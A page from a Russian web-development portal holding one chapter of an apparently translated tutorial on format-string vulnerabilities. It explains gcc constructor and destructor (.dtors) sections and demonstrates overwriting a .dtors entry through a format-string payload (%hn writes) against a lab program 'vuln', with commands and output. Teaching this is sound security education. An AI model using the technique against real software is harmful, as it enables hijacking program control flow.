П О Р Т А Л                            
С Е Т Е В Ы Х                          
П Р О Е К Т О В                        
  
Поиск по сайту:
                                                 
Главная

О проекте

Web-мастеру
     HTML & JavaScript
     SSI
     Perl
     PHP
     XML & XSLT
     Unix Shell

MySQL

Безопасность

Хостинг

Другое








Самое читаемое:

Учебник PHP - "Для Чайника".
Просмотров 176909 раз(а).

Иллюстрированный самоучитель по созданию сайтов.
Просмотров 74039 раз(а).

Учебник HTML.
Просмотров 73271 раз(а).

Руководство по PHP5.
Просмотров 44149 раз(а).

Хостинг через призму DNS.
Просмотров 50798 раз(а).

Подборка текстов стандартных документов.
Просмотров 44324 раз(а).

Учебник PHP - Самоучитель
Просмотров 50574 раз(а).

Документация на MySQL (учебник & справочное руководство)
Просмотров 50988 раз(а).

Внешние атаки...
Просмотров 41299 раз(а).

Учебник PHP.
Просмотров 36531 раз(а).

SSI в примерах.
Просмотров 27420 раз(а).






 
 
| Добавить в избранное | Сделать стартовой Project.Net.Ru | Помощь




Другие эксплоиты

Эту статью мы начали с утверждения, что ошибки в формате - реальная уязвимость. Другое дело - как использовать их. Эксплоиты переполнения буфера надеются на запись в адрес возврата функции. В этом случае вы должны пытаться это сделать (почти) наугад и сильно молиться на свои скрипты, чтобы они нашли правильные значения (даже вызов шелла должен быть полон NOP-ов). Вам не нужно все это в случае ошибок в формате, и вы больше не ограничены перезаписью адреса возврата.

Мы видели, что ошибки в формате позволяют нам производить запись куда угодно. Итак, мы увидим сейчас использование этой дыры, основанное на секции .dtors.

Если программа скомпилирована при помощи gcc, вы можете найти в ней секцию конструктора (называемую .ctors) и деструктора (называемую .dtors). Каждая из этих секций содержит указатели на функции для выполнения перед входом в функцию main() и после выхода из нее соответственно.

/* cdtors */

void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));

int main() {
  printf("in main()\n");
}

void start(void) {
  printf("in start()\n");
}

void end(void) {
  printf("in end()\n");
}
Наша маленькая программа показывает этот механизм:
>>gcc cdtors.c -o cdtors
>>./cdtors
in start()
in main()
in end()
Каждая из этих секций построена одинаково:
>>objdump -s -j .ctors cdtors

cdtors:     file format elf32-i386

Contents of section .ctors:
 804949c ffffffff dc830408 00000000           ............
>>objdump -s -j .dtors cdtors

cdtors:     file format elf32-i386

Contents of section .dtors:
 80494a8 ffffffff f0830408 00000000           ............
Мы проверяем, что указанные адреса соответствуют нашим функциям (внимание: предыдущая команда objdump выдала адреса в прямом порядке байтов):
>>objdump -t cdtors | egrep "start|end"
080483dc g     F .text  00000012              start
080483f0 g     F .text  00000012              end
Итак, эти секции содержат адреса функций для выполнения в начале (или в конце), находящиеся между 0xffffffff и 0x00000000.

Давайте применим это к vuln с использованием строки формата. Сначала, мы должны получить расположение в памяти этих секций, что по-настоящему просто, если у вас под рукой есть двоичный код программы ;-) Просто используем objdump, как делали ранее:

>> objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
 8049844 ffffffff 00000000                    ........
Вот оно! Теперь мы имеем все, что нам надо.

Цель эксплоита - заменить адрес функции в одной из этих секций на адрес функции, которую хотим выполнить. Если эти секции пустые, мы просто должны перезаписать 0x00000000, который указывает на конец секции. Это вызовет нарушение сегментации (segmentation fault), так как программа не найдет 0x00000000 и возмет следующее значение, как адрес функции, что, вероятно, неверно.

Фактически, единственная интересующая нас секция - секция деструктора (.dtors): у нас нет времени делать что-либо перед секцией конструктора (.ctors). Обычно достаточно перезаписать адрес, расположенный на 4 байта дальше от начала секции (0xffffffff):

  • если здесь нет адреса, мы перезапишем 0x00000000;
  • иначе, первая функция, которая выполнится, будет нашей.

Вернемся к нашему примеру. Мы заменяем 0x00000000 в секции .dtors, расположенный по адресу 0x8049848=0x8049844+4, на адрес функции accesForbidden(), уже известный (0x8048664):

>./vuln `./build 0x8049848 0x8048664 3`
adr : 134518856 (8049848)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[JH%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = bffff694 (0xbffff51c)
helloWorld() = 0x8048648
accessForbidden() = 0x8048664

before : ptrf() = 0x8048648 (0xbffff434)
buffer = [JH0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000] (127)
after : ptrf() = 0x8048648 (0xbffff434)
Welcome in "helloWorld"
You shouldn't be here "accesForbidden"
Segmentation fault (core dumped)

Все проходит отлично, main() helloWorld() и затем выход. Потом вызывается деструктор. Секция .dtors начинается с адреса accesForbidden(). Затем, так как нет другого действительного адреса, происходит ожидаемый дамп памяти.

Назад | Содержание | Вперед



Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:
 





Copyright © 2005-2016 Project.Net.Ru